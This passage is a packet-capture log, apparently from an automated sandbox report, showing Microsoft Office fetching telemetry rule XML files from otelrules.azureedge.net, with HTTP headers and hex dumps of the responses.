xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:40 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:40 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e3ba4dff-401e-002a-1ea2-42c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084540Z-174f7845968xlwnmhC1EWR0sv800000010x000000000a4f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:40 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:40 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:40 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 340b88d8-401e-0064-2ede-4154af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084540Z-174f7845968qj8jrhC1EWRh41s000000111g000000009sha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:40 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:42 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:42 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: edd19938-c01e-00a2-806f-402327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084542Z-174f7845968glpgnhC1EWR7uec00000011d00000000026qn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:42 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:42 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:42 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bec1df9e-001e-005a-2515-41c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084542Z-174f7845968psccphC1EWRuz9s00000011f0000000003zkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:42 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:42 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 931d4756-e01e-001f-0f26-401633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084542Z-174f78459684bddphC1EWRbht400000010x0000000005fqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:43 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 6e0e77ff-301e-0052-0b15-4165d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084543Z-174f7845968psccphC1EWRuz9s00000011fg000000003ae1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:43 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: f4671ffc-301e-0000-793a-40eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084543Z-174f7845968qj8jrhC1EWRh41s0000001160000000002q9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:44 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:44 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3a99e642-c01e-0049-2bdd-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084544Z-174f7845968xlwnmhC1EWR0sv8000000111g000000003ht0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:44 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:44 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:45 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a0e0d5c5-a01e-0084-68de-419ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084545Z-174f7845968px8v7hC1EWR08ng00000011ag00000000bdqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:45 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:44 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:45 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 98e088fc-b01e-0070-60bd-421cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084545Z-174f7845968qj8jrhC1EWRh41s000000114g000000004b71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:45 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:45 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:45 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: e52eaca9-401e-0064-32a1-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084545Z-174f7845968psccphC1EWRuz9s00000011c0000000007s6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:46 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:45 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:45 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2150929f-401e-0064-4382-3f54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084545Z-174f7845968swgbqhC1EWRmnb400000011c0000000003h21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
